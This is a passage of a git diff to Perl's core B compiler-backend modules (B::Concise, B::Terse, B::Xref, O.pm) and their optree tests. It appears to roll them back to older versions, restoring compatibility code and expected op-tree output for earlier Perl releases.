PadlistREFCNT(padlist) OUTPUT: RETVAL +#endif + MODULE = B PACKAGE = B::PADNAMELIST PREFIX = Padnamelist void diff --git a/ext/B/B/Concise.pm b/ext/B/B/Concise.pm index 9032e9b082bd..315e00a4b675 100644 --- a/ext/B/B/Concise.pm +++ b/ext/B/B/Concise.pm @@ -14,7 +14,7 @@ use warnings; # uses #3 and #4, since warnings uses Carp use Exporter (); # use #5 -our $VERSION = "1.003"; +our $VERSION = "0.999"; our @ISA = qw(Exporter); our @EXPORT_OK = qw( set_style set_style_standard add_callback concise_subref concise_cv concise_main @@ -30,8 +30,7 @@ use B qw(class ppname main_start main_root main_cv cstring svref_2object SVf_IOK SVf_NOK SVf_POK SVf_IVisUV SVf_FAKE OPf_KIDS OPf_SPECIAL OPf_STACKED OPpSPLIT_ASSIGN OPpSPLIT_LEX - CVf_ANON CVf_LEXICAL CVf_NAMED - PAD_FAKELEX_ANON PAD_FAKELEX_MULTI SVf_ROK); + CVf_ANON PAD_FAKELEX_ANON PAD_FAKELEX_MULTI SVf_ROK); my %style = ("terse" => @@ -146,14 +145,13 @@ sub concise_subref { sub concise_stashref { my($order, $h) = @_; - my $name = svref_2object($h)->NAME; + local *s; foreach my $k (sort keys %$h) { next unless defined $h->{$k}; - my $coderef = ref $h->{$k} eq 'CODE' ? $h->{$k} - : ref\$h->{$k} eq 'GLOB' ? *{$h->{$k}}{CODE} || next - : next; + *s = $h->{$k}; + my $coderef = *s{CODE} or next; reset_sequence(); - print "FUNC: *", $name, "::", $k, "\n"; + print "FUNC: ", *s, "\n"; my $codeobj = svref_2object($coderef); next unless ref $codeobj eq 'B::CV'; eval { concise_cv_obj($order, $codeobj, $k) }; @@ -717,47 +715,30 @@ sub concise_sv { $hr->{svval} = "*$stash" . $gv->SAFENAME; return "*$stash" . $gv->SAFENAME; } else { - while (class($sv) eq "IV" && $sv->FLAGS & SVf_ROK) { - $hr->{svval} .= "\\"; - $sv = $sv->RV; + if ($] >= 5.011) { + while (class($sv) eq "IV" && $sv->FLAGS & SVf_ROK) { + $hr->{svval} .= "\\"; + $sv = $sv->RV; + } + } else { + while (class($sv) eq "RV") { + $hr->{svval} .= "\\"; + $sv = $sv->RV; + } } if (class($sv) eq "SPECIAL") { - $hr->{svval} .= ["Null", "sv_undef", "sv_yes", "sv_no", - '', '', '', "sv_zero"]->[$$sv]; + $hr->{svval} .= ["Null", "sv_undef", "sv_yes", "sv_no"]->[$$sv]; } elsif ($preferpv - && ($sv->FLAGS & SVf_POK)) { + && ($sv->FLAGS & SVf_POK || class($sv) eq "REGEXP")) { $hr->{svval} .= cstring($sv->PV); } elsif ($sv->FLAGS & SVf_NOK) { $hr->{svval} .= $sv->NV; } elsif ($sv->FLAGS & SVf_IOK) { $hr->{svval} .= $sv->int_value; - } elsif ($sv->FLAGS & SVf_POK) { + } elsif ($sv->FLAGS & SVf_POK || class($sv) eq "REGEXP") { $hr->{svval} .= cstring($sv->PV); } elsif (class($sv) eq "HV") { $hr->{svval} .= 'HASH'; - } elsif (class($sv) eq "AV") { - $hr->{svval} .= 'ARRAY'; - } elsif (class($sv) eq "CV") { - if ($sv->CvFLAGS & CVf_ANON) { - $hr->{svval} .= 'CODE'; - } elsif ($sv->CvFLAGS & CVf_NAMED) { - $hr->{svval} .= "&"; - unless ($sv->CvFLAGS & CVf_LEXICAL) { - my $stash = $sv->STASH; - unless (class($stash) eq "SPECIAL") { - $hr->{svval} .= $stash->NAME . "::"; - } - } - $hr->{svval} .= $sv->NAME_HEK; - } else { - $hr->{svval} .= "&"; - $sv = $sv->GV; - my $stash = $sv->STASH; - unless (class($stash) eq "SPECIAL") { - $hr->{svval} .= $stash->NAME . "::"; - } - $hr->{svval} .= $sv->SAFENAME; - } } $hr->{svval} = 'undef' unless defined $hr->{svval}; @@ -931,7 +912,10 @@ sub concise_op { $h{arg} = "($label$stash $cseq $loc)"; if ($show_src) { fill_srclines($pathnm) unless exists $srclines{$pathnm}; - my $line = $srclines{$pathnm}[$ln] // "-src unavailable under -e"; + # Would love to retain Jim's use of // but this code needs to be + # portable to 5.8.x + my $line = $srclines{$pathnm}[$ln]; + $line = "-src unavailable under -e" unless defined $line; $h{src} = "$ln: $line"; } } elsif ($h{class} eq "LOOP") { @@ -1101,6 +1085,10 @@ sub tree { # number for the user's program as being a small offset later, so all we # have to worry about are changes in the offset. +# [For 5.8.x and earlier perl is generating sequence numbers for all ops, +# and using them to reference labels] + + # When you say "perl -MO=Concise -e '$a'", the output should look like: # 4 <@> leave[t1] vKP/REFC ->(end) @@ -1115,7 +1103,7 @@ sub tree { # to update the corresponding magic number in the next line. # Remember, this needs to stay the last things in the module. -my $cop_seq_mnum = 12; +my $cop_seq_mnum = 16; $cop_seq_base = svref_2object(eval 'sub{0;}')->START->cop_seq + $cop_seq_mnum; 1; @@ -1703,10 +1691,21 @@ The numeric value of the OP's private flags. The sequence number of the OP. Note that this is a sequence number generated by B::Concise. +=item B<#seqnum> + +5.8.x and earlier only. 5.9 and later do not provide this. + +The real sequence number of the OP, as a regular number and not adjusted +to be relative to the start of the real program. (This will generally be +a fairly large number because all of B is compiled before +your program is). + =item B<#opt> Whether or not the op has been optimized by the peephole optimizer. +Only available in 5.9 and later. + =item B<#sibaddr> The address of the OP's next youngest sibling, in hexadecimal. diff --git a/ext/B/B/Terse.pm b/ext/B/B/Terse.pm index 681112e9041b..1749f326a137 100644 --- a/ext/B/B/Terse.pm +++ b/ext/B/B/Terse.pm @@ -1,6 +1,6 @@ package B::Terse; -our $VERSION = '1.08'; +our $VERSION = '1.07'; use strict; use B qw(class @specialsv_name); @@ -30,6 +30,12 @@ sub indent { return " " x $level; } +# Don't use this, at least on OPs in subroutines: it has no way of +# getting to the pad, and will give wrong answers or crash. +sub B::OP::terse { + carp "B::OP::terse is deprecated and will go away in Perl 5.28; use B::Concise instead"; + B::Concise::b_terse(@_); +} sub B::SV::terse { my($sv, $level) = (@_, 0); diff --git a/ext/B/B/Xref.pm b/ext/B/B/Xref.pm index 000790a26949..255ee890bd54 100644 --- a/ext/B/B/Xref.pm +++ b/ext/B/B/Xref.pm @@ -1,6 +1,6 @@ package B::Xref; -our $VERSION = '1.07'; +our $VERSION = '1.06'; =head1 NAME @@ -143,7 +143,7 @@ Malcolm Beattie, mbeattie@sable.ox.ac.uk. use strict; use Config; use B qw(peekop class comppadlist main_start svref_2object walksymtable - OPpLVAL_INTRO SVf_POK SVf_ROK OPpOUR_INTRO cstring + OPpLVAL_INTRO SVf_POK OPpOUR_INTRO cstring ); sub UNKNOWN { ["?", "?", "?"] } @@ -331,13 +331,7 @@ sub pp_gv { } else { $gv = $op->gv; - if ($gv->FLAGS & SVf_ROK) { # sub ref - my $cv = $gv->RV; - $top = [$cv->STASH->NAME, '*', B::safename($cv->NAME_HEK)] - } - else { - $top = [$gv->STASH->NAME, '*', $gv->SAFENAME]; - } + $top = [$gv->STASH->NAME, "*", $gv->SAFENAME]; } process($top, $op->private & OPpLVAL_INTRO ? "intro" : "used"); } diff --git a/ext/B/O.pm b/ext/B/O.pm index 81c879835bc0..2976a8942083 100644 --- a/ext/B/O.pm +++ b/ext/B/O.pm @@ -1,18 +1,16 @@ package O; -our $VERSION = '1.03'; +our $VERSION = '1.01'; -use B (); - -our $BEGIN_output; -our $saveout_fh; +use B qw(minus_c save_BEGINs); +use Carp; sub import { my ($class, @options) = @_; my ($quiet, $veryquiet) = (0, 0); if ($options[0] eq '-q' || $options[0] eq '-qq') { $quiet = 1; - open ($saveout_fh, ">&", STDOUT); + open (SAVEOUT, ">&STDOUT"); close STDOUT; open (STDOUT, ">", \$O::BEGIN_output); if ($options[0] eq '-qq') { @@ -23,15 +21,15 @@ sub import { my $backend = shift (@options); eval q[ BEGIN { - B::minus_c; - B::save_BEGINs; + minus_c; + save_BEGINs; } CHECK { if ($quiet) { close STDOUT; - open (STDOUT, ">&", $saveout_fh); - close $saveout_fh; + open (STDOUT, ">&SAVEOUT"); + close SAVEOUT; } # Note: if you change the code after this 'use', please @@ -39,6 +37,10 @@ sub import { # "fragile kludge") so that its output still looks # nice. Thanks. --smcc use B::].$backend.q[ (); + if ($@) { + croak "use of backend $backend failed: $@"; + } + my $compilesub = &{"B::${backend}::compile"}(@options); if (ref($compilesub) ne "CODE") { @@ -52,11 +54,7 @@ sub import { close STDERR if $veryquiet; } ]; - if ($@) { - my $msg = "$@"; - require Carp; - Carp::croak("Loading compiler backend 'B::$backend' failed: $msg"); - } + die $@ if $@; } 1; diff --git a/ext/B/t/OptreeCheck.pm b/ext/B/t/OptreeCheck.pm index 53236c91d4e7..e7af99ece1e7 100644 --- a/ext/B/t/OptreeCheck.pm +++ b/ext/B/t/OptreeCheck.pm @@ -2,10 +2,10 @@ package OptreeCheck; use parent 'Exporter'; use strict; use warnings; -our ($TODO, $Level, $using_open); +use vars qw($TODO $Level $using_open); require "test.pl"; -our $VERSION = '0.16'; +our $VERSION = '0.15'; # now export checkOptree, and those test.pl functions used by tests our @EXPORT = qw( checkOptree plan skip skip_all pass is like unlike @@ -208,10 +208,15 @@ In either case, $coderef is then passed to B::Concise::compile(): =head2 expect and expect_nt expect and expect_nt args are the B renderings, and are -sampled from known-ok threaded and un-threaded bleadperl builds. +sampled from known-ok threaded and un-threaded bleadperl (5.9.1) builds. They're both required, and the correct one is selected for the platform being tested, and saved into the synthesized property B. +Individual sample lines may be suffixed with whitespace followed +by (<|<=|==|>=|>)5.nnnn (up to two times) to +select that line only for the listed perl +version; the whitespace and conditional are stripped. + =head2 bcopts => $bcopts || [ @bcopts ] When getRendering() runs, it passes bcopts into B::Concise::compile(). @@ -635,6 +640,33 @@ sub mkCheckRex { $str =~ s/^\# //mg; # ease cut-paste testcase authoring + # strip out conditional lines + + $str =~ s{^(.*?) \s+(<|<=|==|>=|>)\s*(5\.\d+) + (?:\s+(<|<=|==|>=|>)\s*(5\.\d+))? \ *\n} + { + my ($line, $cmp, $version, $cmp2, $v2) = ($1,$2,$3,$4,$5,$6); + my $repl = ""; + if ( $cmp eq '<' ? $] < $version + : $cmp eq '<=' ? $] <= $version + : $cmp eq '==' ? $] == $version + : $cmp eq '>=' ? $] >= $version + : $cmp eq '>' ? $] > $version + : die("bad comparison '$cmp' in string [$str]\n") + and !$cmp2 || ( + $cmp2 eq '<' ? $] < $v2 + : $cmp2 eq '<=' ? $] <= $v2 + : $cmp2 eq '==' ? $] == $v2 + : $cmp2 eq '>=' ? $] >= $v2 + : $cmp2 eq '>' ? $] > $v2 + : die("bad comparison '$cmp2' in string [$str]\n") + ) + ) { + $repl = "$line\n"; + } + $repl; + }gemx; + $tc->{wantstr} = $str; # make UNOP_AUX flag type literal @@ -749,9 +781,8 @@ sub reduceDiffs { my $exp = shift @want; my $line = shift @got; # remove matches, and report - unless ($got =~ s/^($rex\n)//ms) { + unless ($got =~ s/($rex\n)//msg) { _diag("got:\t\t'$line'\nwant:\t $rex\n"); - last; } } _diag("remainder:\n$got"); diff --git a/ext/B/t/b.t b/ext/B/t/b.t index 09dba39b1ddf..a5d724912b1d 100644 --- a/ext/B/t/b.t +++ b/ext/B/t/b.t @@ -21,7 +21,7 @@ BEGIN { use_ok( 'B' ); } package Testing::Symtable; -our ($This, @That, %wibble, $moo, %moo); +use vars qw($This @That %wibble $moo %moo); my $not_a_sym = 'moo'; sub moo { 42 } @@ -35,7 +35,7 @@ package Testing::Symtable::Bar; sub hock { "yarrow" } package main; -our %Subs; +use vars qw(%Subs); local %Subs = (); B::walksymtable(\%Testing::Symtable::, 'find_syms', sub { $_[0] =~ /Foo/ }, 'Testing::Symtable::'); @@ -46,7 +46,8 @@ sub B::GV::find_syms { $main::Subs{$symbol->STASH->NAME . '::' . $symbol->NAME}++; } -my @syms = map { 'Testing::Symtable::'.$_ } qw(This That wibble moo car); +my @syms = map { 'Testing::Symtable::'.$_ } qw(This That wibble moo car + BEGIN); push @syms, "Testing::Symtable::Foo::yarrow"; # Make sure we hit all the expected symbols. @@ -55,21 +56,6 @@ ok( join('', sort @syms) eq join('', sort keys %Subs), 'all symbols found' ); # Make sure we only hit them each once. ok( (!grep $_ != 1, values %Subs), '...and found once' ); - -# Make sure method caches are not present when walking the sym tab -@Testing::Method::Caches::Foo::ISA='Testing::Method::Caches::Bar'; -sub Testing::Method::Caches::Bar::foo{} -Testing::Method::Caches::Foo->foo; # caches the sub in the *foo glob - -my $have_cv; -sub B::GV::method_cache_test { ${shift->CV} and ++$have_cv } - -B::walksymtable(\%Testing::Method::Caches::, 'method_cache_test', - sub { 1 }, 'Testing::Method::Caches::'); -# $have_cv should only have been incremented for ::Bar::foo -is $have_cv, 1, 'walksymtable clears cached methods'; - - # Tests for MAGIC / MOREMAGIC ok( B::svref_2object(\$.)->MAGIC->TYPE eq "\0", '$. has \0 magic' ); { @@ -121,7 +107,8 @@ ok( B::svref_2object(\$.)->MAGIC->TYPE eq "\0", '$. has \0 magic' ); } my $r = qr/foo/; -my $regexp = B::svref_2object($r); +my $obj = B::svref_2object($r); +my $regexp = ($] < 5.011) ? $obj->MAGIC : $obj; ok($regexp->precomp() eq 'foo', 'Get string from qr//'); like($regexp->REGEX(), qr/\d+/, "REGEX() returns numeric value"); like($regexp->compflags, qr/^\d+\z/, "compflags returns numeric value"); @@ -192,21 +179,25 @@ my $null_ret = $nv_ref->object_2svref(); is(ref $null_ret, "SCALAR", "Test object_2svref() return is SCALAR"); is($$null_ret, $nv, "Test object_2svref()"); +my $RV_class = $] >= 5.011 ? 'B::IV' : 'B::RV'; my $cv = sub{ 1; }; my $cv_ref = B::svref_2object(\$cv); -is($cv_ref->REFCNT, 1, "Test B::IV->REFCNT"); -is(ref $cv_ref, "B::IV", "Test B::IV return from svref_2object - code"); +is($cv_ref->REFCNT, 1, "Test $RV_class->REFCNT"); +is(ref $cv_ref, "$RV_class", + "Test $RV_class return from svref_2object - code"); my $cv_ret = $cv_ref->object_2svref(); is(ref $cv_ret, "REF", "Test object_2svref() return is REF"); is($$cv_ret, $cv, "Test object_2svref()"); my $av = []; my $av_ref = B::svref_2object(\$av); -is(ref $av_ref, "B::IV", "Test B::IV return from svref_2object - array"); +is(ref $av_ref, "$RV_class", + "Test $RV_class return from svref_2object - array"); my $hv = []; my $hv_ref = B::svref_2object(\$hv); -is(ref $hv_ref, "B::IV", "Test B::IV return from svref_2object - hash"); +is(ref $hv_ref, "$RV_class", + "Test $RV_class return from svref_2object - hash"); local *gv = *STDOUT; my $gv_ref = B::svref_2object(\*gv); @@ -321,8 +312,9 @@ like( B::amagic_generation, qr/^\d+\z/, "amagic_generation" ); is(B::svref_2object(sub {})->ROOT->ppaddr, 'PL_ppaddr[OP_LEAVESUB]', 'OP->ppaddr'); +# This one crashes from perl 5.8.9 to B 1.24 (perl 5.13.6): B::svref_2object(sub{y/\x{100}//})->ROOT->first->first->sibling->sv; -ok 1, 'B knows that UTF trans is a padop, not an svop'; +ok 1, 'B knows that UTF trans is a padop in 5.8.9, not an svop'; { my $o = B::svref_2object(sub{0;0})->ROOT->first->first; @@ -353,10 +345,13 @@ my $bobby = B::svref_2object($sub2)->ROOT->first->first; is $cop->stash->object_2svref, \%main::, 'COP->stash'; is $cop->stashpv, 'main', 'COP->stashpv'; -is $bobby->stashpv, "Pe\0e\x{142}", 'COP->stashpv with utf8 and nulls'; +SKIP: { + skip "no nulls in packages before 5.17", 1 if $] < 5.017; + is $bobby->stashpv, "Pe\0e\x{142}", 'COP->stashpv with utf8 and nulls'; +} SKIP: { - skip "no stashoff", 2 unless $Config::Config{useithreads}; + skip "no stashoff", 2 if $] < 5.017 || !$Config::Config{useithreads}; like $cop->stashoff, qr/^[1-9]\d*\z/a, 'COP->stashoff'; isnt $cop->stashoff, $bobby->stashoff, 'different COP->stashoff for different stashes'; @@ -433,9 +428,17 @@ is $regexp->precomp, 'fit', 'pmregexp returns the right regexp'; ok($gv, "we get a GV from a GV on a normal sub"); isa_ok($gv, "B::GV"); is($gv->NAME, "foo", "check the GV name"); - is($cv->NAME_HEK, undef, "no hek for a global sub"); + SKIP: + { # do we need these version checks? + skip "no HEK before 5.18", 1 if $] < 5.018; + is($cv->NAME_HEK, undef, "no hek for a global sub"); + } } +SKIP: + { + skip "no HEK before 5.18", 4 if $] < 5.018; + eval <<'EOS' { use feature 'lexical_subs'; no warnings 'experimental::lexical_subs'; @@ -448,6 +451,10 @@ is $regexp->precomp, 'fit', 'pmregexp returns the right regexp'; my $gv = $cv->GV; isa_ok($gv, "B::GV", "GV on a lexical sub"); } + 1; +EOS + or die "lexical_subs test failed to compile: $@"; + } } { # [perl #120535] diff --git a/ext/B/t/f_map.t b/ext/B/t/f_map.t index 221f2926e2a3..a1cbc38c0127 100644 --- a/ext/B/t/f_map.t +++ b/ext/B/t/f_map.t @@ -108,7 +108,7 @@ checkOptree(note => q{}, # goto 7 # g <0> pushmark s # h <#> gv[*hash] s -# i <1> rv2hv[t2] lKRM* +# i <1> rv2hv lKRM*/1 # j <2> aassign[t10] KS/COM_AGG # k <1> leavesub[1 ref] K/REFC,1 EOT_EOT @@ -130,7 +130,7 @@ EOT_EOT # goto 7 # g <0> pushmark s # h <$> gv(*hash) s -# i <1> rv2hv[t1] lKRM* +# i <1> rv2hv lKRM*/1 # j <2> aassign[t5] KS/COM_AGG # k <1> leavesub[1 ref] K/REFC,1 EONT_EONT @@ -157,7 +157,7 @@ checkOptree(note => q{}, # 4 <0> pushmark s # 5 <0> pushmark s # 6 <#> gv[*hash] s -# 7 <1> rv2hv[t2] lKRM* +# 7 <1> rv2hv lKRM*/1 # 8 <2> aassign[t3] vKS # 9 <;> nextstate(main 476 (eval 10):1) v:{ # a <0> pushmark sM @@ -171,7 +171,7 @@ checkOptree(note => q{}, # g <;> nextstate(main 475 (eval 10):1) v:{ # h <#> gvsv[*_] s # i <#> gv[*hash] s -# j <1> rv2hv sKR +# j <1> rv2hv sKR/1 # k <0> pushmark s # l <#> gvsv[*_] s # m <#> gv[*getkey] s/EARLYCV @@ -190,7 +190,7 @@ EOT_EOT # 4 <0> pushmark s # 5 <0> pushmark s # 6 <$> gv(*hash) s -# 7 <1> rv2hv[t1] lKRM* +# 7 <1> rv2hv lKRM*/1 # 8 <2> aassign[t2] vKS # 9 <;> nextstate(main 560 (eval 15):1) v:{ # a <0> pushmark sM @@ -204,7 +204,7 @@ EOT_EOT # g <;> nextstate(main 559 (eval 15):1) v:{ # h <$> gvsv(*_) s # i <$> gv(*hash) s -# j <1> rv2hv sKR +# j <1> rv2hv sKR/1 # k <0> pushmark s # l <$> gvsv(*_) s # m <$> gv(*getkey) s/EARLYCV @@ -243,7 +243,7 @@ checkOptree(note => q{}, # goto 7 # b <0> pushmark s # c <#> gv[*hash] s -# d <1> rv2hv[t2] lKRM* +# d <1> rv2hv lKRM*/1 # e <2> aassign[t10] KS/COM_AGG # f <1> leavesub[1 ref] K/REFC,1 EOT_EOT @@ -260,7 +260,7 @@ EOT_EOT # goto 7 # b <0> pushmark s # c <$> gv(*hash) s -# d <1> rv2hv[t1] lKRM* +# d <1> rv2hv lKRM*/1 # e <2> aassign[t6] KS/COM_AGG # f <1> leavesub[1 ref] K/REFC,1 EONT_EONT @@ -289,7 +289,7 @@ checkOptree(note => q{}, # goto 7 # b <0> pushmark s # c <#> gv[*hash] s -# d <1> rv2hv[t2] lKRM* +# d <1> rv2hv lKRM*/1 # e <2> aassign[t10] KS/COM_AGG # f <1> leavesub[1 ref] K/REFC,1 EOT_EOT @@ -306,7 +306,7 @@ EOT_EOT # goto 7 # b <0> pushmark s # c <$> gv(*hash) s -# d <1> rv2hv[t1] lKRM* +# d <1> rv2hv lKRM*/1 # e <2> aassign[t6] KS/COM_AGG # f <1> leavesub[1 ref] K/REFC,1 EONT_EONT @@ -335,7 +335,7 @@ checkOptree(note => q{}, # goto 7 # b <0> pushmark s # c <#> gv[*hash] s -# d <1> rv2hv[t2] lKRM* +# d <1> rv2hv lKRM*/1 # e <2> aassign[t9] KS/COM_AGG # f <1> leavesub[1 ref] K/REFC,1 EOT_EOT @@ -352,7 +352,7 @@ EOT_EOT # goto 7 # b <0> pushmark s # c <$> gv(*hash) s -# d <1> rv2hv[t1] lKRM* +# d <1> rv2hv lKRM*/1 # e <2> aassign[t5] KS/COM_AGG # f <1> leavesub[1 ref] K/REFC,1 EONT_EONT @@ -381,7 +381,7 @@ checkOptree(note => q{}, # goto 7 # b <0> pushmark s # c <#> gv[*hash] s -# d <1> rv2hv[t2] lKRM* +# d <1> rv2hv lKRM*/1 # e <2> aassign[t8] KS/COM_AGG # f <1> leavesub[1 ref] K/REFC,1 EOT_EOT @@ -398,7 +398,7 @@ EOT_EOT # goto 7 # b <0> pushmark s # c <$> gv(*hash) s -# d <1> rv2hv[t1] lKRM* +# d <1> rv2hv lKRM*/1 # e <2> aassign[t5] KS/COM_AGG # f <1> leavesub[1 ref] K/REFC,1 EONT_EONT @@ -426,7 +426,7 @@ checkOptree(note => q{}, # goto 7 # a <0> pushmark s # b <#> gv[*hash] s -# c <1> rv2hv[t2] lKRM* +# c <1> rv2hv lKRM*/1 # d <2> aassign[t6] KS/COM_AGG # e <#> gv[*array] s # f <1> rv2av[t8] K/1 @@ -445,7 +445,7 @@ EOT_EOT # goto 7 # a <0> pushmark s # b <$> gv(*hash) s -# c <1> rv2hv[t1] lKRM* +# c <1> rv2hv lKRM*/1 # d <2> aassign[t4] KS/COM_AGG # e <$> gv(*array) s # f <1> rv2av[t5] K/1 diff --git a/ext/B/t/f_sort b/ext/B/t/f_sort index 75e8f1059645..759523bb70f2 100644 --- a/ext/B/t/f_sort +++ b/ext/B/t/f_sort @@ -68,6 +68,10 @@ sub other::backwards ($$) { $_[1] cmp $_[0]; } use sort 'stable'; @new = sort { substr($a, 3, 5) cmp substr($b, 3, 5) } @old; +# force use of mergesort (not portable outside Perl 5.8) +use sort '_mergesort'; +@new = sort { substr($a, 3, 5) cmp substr($b, 3, 5) } @old; + # you should have a good reason to do this! @articles = sort {$FooPack::b <=> $FooPack::a} @files; diff --git a/ext/B/t/f_sort.t b/ext/B/t/f_sort.t index 24a9f2e38c62..fe0927829f25 100644 --- a/ext/B/t/f_sort.t +++ b/ext/B/t/f_sort.t @@ -13,7 +13,7 @@ BEGIN { } } use OptreeCheck; -plan tests => 38; +plan tests => 40; =head1 f_sort.t @@ -129,7 +129,8 @@ checkOptree(note => q{}, # 2 <0> pushmark s # 3 <0> pushmark s # 4 <#> gv[*files] s -# 5 <1> rv2av[t9] lKM/1 +# 5 <1> rv2av[t9] lK/1 < 5.019002 +# 5 <1> rv2av[t9] lKM/1 >=5.019002 # 6 <@> sort lKS* # 7 <0> pushmark s # 8 <#> gv[*articles] s @@ -141,7 +142,8 @@ EOT_EOT # 2 <0> pushmark s # 3 <0> pushmark s # 4 <$> gv(*files) s -# 5 <1> rv2av[t5] lKM/1 +# 5 <1> rv2av[t5] lK/1 < 5.019002 +# 5 <1> rv2av[t5] lKM/1 >=5.019002 # 6 <@> sort lKS* # 7 <0> pushmark s # 8 <$> gv(*articles) s @@ -278,8 +280,10 @@ checkOptree(note => q{}, # 2 <0> pushmark s # 3 <0> pushmark s # 4 <#> gv[*age] s -# 5 <1> rv2hv[t9] lKRM -# 6 <1> keys[t10] lKM/1 +# 5 <1> rv2hv[t9] lKRM/1 < 5.019006 +# 5 <1> rv2hv lKRM/1 >=5.019006 +# 6 <1> keys[t10] lK/1 < 5.019002 +# 6 <1> keys[t10] lKM/1 >=5.019002 # 7 <@> sort lKS* # 8 <0> pushmark s # 9 <#> gv[*eldest] s @@ -291,8 +295,10 @@ EOT_EOT # 2 <0> pushmark s # 3 <0> pushmark s # 4 <$> gv(*age) s -# 5 <1> rv2hv[t3] lKRM -# 6 <1> keys[t4] lKM/1 +# 5 <1> rv2hv[t3] lKRM/1 < 5.019006 +# 5 <1> rv2hv lKRM/1 >=5.019006 +# 6 <1> keys[t4] lK/1 < 5.019002 +# 6 <1> keys[t4] lKM/1 >=5.019002 # 7 <@> sort lKS* # 8 <0> pushmark s # 9 <$> gv(*eldest) s @@ -321,7 +327,8 @@ checkOptree(note => q{}, # 3 <0> pushmark s # 4 <$> const[PV "byage"] s/BARE # 5 <#> gv[*class] s -# 6 <1> rv2av[t4] lKM/1 +# 6 <1> rv2av[t4] lK/1 < 5.019002 +# 6 <1> rv2av[t4] lKM/1 >=5.019002 # 7 <@> sort lKS # 8 <0> pushmark s # 9 <#> gv[*sortedclass] s @@ -334,7 +341,8 @@ EOT_EOT # 3 <0> pushmark s # 4 <$> const(PV "byage") s/BARE # 5 <$> gv(*class) s -# 6 <1> rv2av[t2] lKM/1 +# 6 <1> rv2av[t2] lK/1 < 5.019002 +# 6 <1> rv2av[t2] lKM/1 >=5.019002 # 7 <@> sort lKS # 8 <0> pushmark s # 9 <$> gv(*sortedclass) s @@ -400,7 +408,8 @@ checkOptree(name => q{sort USERSUB LIST }, # w <0> pushmark s # x <$> const[PV "backwards"] s/BARE # y <#> gv[*harry] s -# z <1> rv2av[t10] lKM/1 +# z <1> rv2av[t10] lK/1 < 5.019002 +# z <1> rv2av[t10] lKM/1 >=5.019002 # 10 <@> sort lKS # 11 <@> print vK # 12 <;> nextstate(main 602 (eval 32):5) v:{ @@ -449,7 +458,8 @@ EOT_EOT # w <0> pushmark s # x <$> const(PV "backwards") s/BARE # y <$> gv(*harry) s -# z <1> rv2av[t6] lKM/1 +# z <1> rv2av[t6] lK/1 < 5.019002 +# z <1> rv2av[t6] lKM/1 >=5.019002 # 10 <@> sort lKS # 11 <@> print vK # 12 <;> nextstate(main 602 (eval 32):5) v:{ @@ -576,7 +586,8 @@ checkOptree(name => q{sort other::sub LIST }, # 3 <0> pushmark s # 4 <$> const[PV "other::backwards"] s/BARE # 5 <#> gv[*old] s -# 6 <1> rv2av[t4] lKM/1 +# 6 <1> rv2av[t4] lK/1 < 5.019002 +# 6 <1> rv2av[t4] lKM/1 >=5.019002 # 7 <@> sort lKS # 8 <0> pushmark s # 9 <#> gv[*new] s @@ -589,7 +600,8 @@ EOT_EOT # 3 <0> pushmark s # 4 <$> const(PV "other::backwards") s/BARE # 5 <$> gv(*old) s -# 6 <1> rv2av[t2] lKM/1 +# 6 <1> rv2av[t2] lK/1 < 5.019002 +# 6 <1> rv2av[t2] lKM/1 >=5.019002 # 7 <@> sort lKS # 8 <0> pushmark s # 9 <$> gv(*new) s @@ -616,7 +628,8 @@ checkOptree(note => q{}, # 3 <0> pushmark s # 4 <$> const[PV "other::backwards"] s/BARE # 5 <#> gv[*old] s -# 6 <1> rv2av[t4] lKM/1 +# 6 <1> rv2av[t4] lK/1 < 5.019002 +# 6 <1> rv2av[t4] lKM/1 >=5.019002 # 7 <@> sort lKS # 8 <0> pushmark s # 9 <#> gv[*new] s @@ -629,7 +642,8 @@ EOT_EOT # 3 <0> pushmark s # 4 <$> const(PV "other::backwards") s/BARE # 5 <$> gv(*old) s -# 6 <1> rv2av[t2] lKM/1 +# 6 <1> rv2av[t2] lK/1 < 5.019002 +# 6 <1> rv2av[t2] lKM/1 >=5.019002 # 7 <@> sort lKS # 8 <0> pushmark s # 9 <$> gv(*new) s @@ -652,7 +666,8 @@ my ($expect, $expect_nt) = (<<'EOT_EOT', <<'EONT_EONT'); # 2 <0> pushmark s # 3 <0> pushmark s # 4 <#> gv[*old] s -# 5 <1> rv2av[t9] lKM/1 +# 5 <1> rv2av[t9] lK/1 < 5.019002 +# 5 <1> rv2av[t9] lKM/1 >=5.019002 # 6 <@> sort lKS*/STABLE # 7 <0> pushmark s # 8 <#> gv[*new] s @@ -664,7 +679,8 @@ EOT_EOT # 2 <0> pushmark s # 3 <0> pushmark s # 4 <$> gv(*old) s -# 5 <1> rv2av[t5] lKM/1 +# 5 <1> rv2av[t5] lK/1 < 5.019002 +# 5 <1> rv2av[t5] lKM/1 >=5.019002 # 6 <@> sort lKS*/STABLE # 7 <0> pushmark s # 8 <$> gv(*new) s @@ -679,6 +695,46 @@ checkOptree(note => q{}, code => q{use sort 'stable'; @new = sort { substr($a, 3, 5) cmp substr($b, 3, 5) } @old; }, expect => $expect, expect_nt => $expect_nt); +=for gentest + +# chunk: # force use of mergesort (not portable outside Perl 5.8) +use sort '_mergesort'; +@new = sort { substr($a, 3, 5) cmp substr($b, 3, 5) } @old; + +=cut + +checkOptree(note => q{}, + bcopts => q{-exec}, + code => q{use sort '_mergesort'; @new = sort { substr($a, 3, 5) cmp substr($b, 3, 5) } @old; }, + expect => <<'EOT_EOT', expect_nt => <<'EONT_EONT'); +# 1 <;> nextstate(main 662 (eval 42):1) v:%,{ +# 2 <0> pushmark s +# 3 <0> pushmark s +# 4 <#> gv[*old] s +# 5 <1> rv2av[t9] lK/1 < 5.019002 +# 5 <1> rv2av[t9] lKM/1 >=5.019002 +# 6 <@> sort lKS* +# 7 <0> pushmark s +# 8 <#> gv[*new] s +# 9 <1> rv2av[t2] lKRM*/1 +# a <2> aassign[t14] KS/COM_AGG +# b <1> leavesub[1 ref] K/REFC,1 +EOT_EOT +# 1 <;> nextstate(main 578 (eval 15):1) v:%,{ +# 2 <0> pushmark s +# 3 <0> pushmark s +# 4 <$> gv(*old) s +# 5 <1> rv2av[t5] lK/1 < 5.019002 +# 5 <1> rv2av[t5] lKM/1 >=5.019002 +# 6 <@> sort lKS* +# 7 <0> pushmark s +# 8 <$> gv(*new) s +# 9 <1> rv2av[t1] lKRM*/1 +# a <2> aassign[t6] KS/COM_AGG +# b <1> leavesub[1 ref] K/REFC,1 +EONT_EONT + + =for gentest # chunk: # you should have a good reason to do this! @@ -694,7 +750,8 @@ checkOptree(note => q{}, # 2 <0> pushmark s # 3 <0> pushmark s # 4 <#> gv[*files] s -# 5 <1> 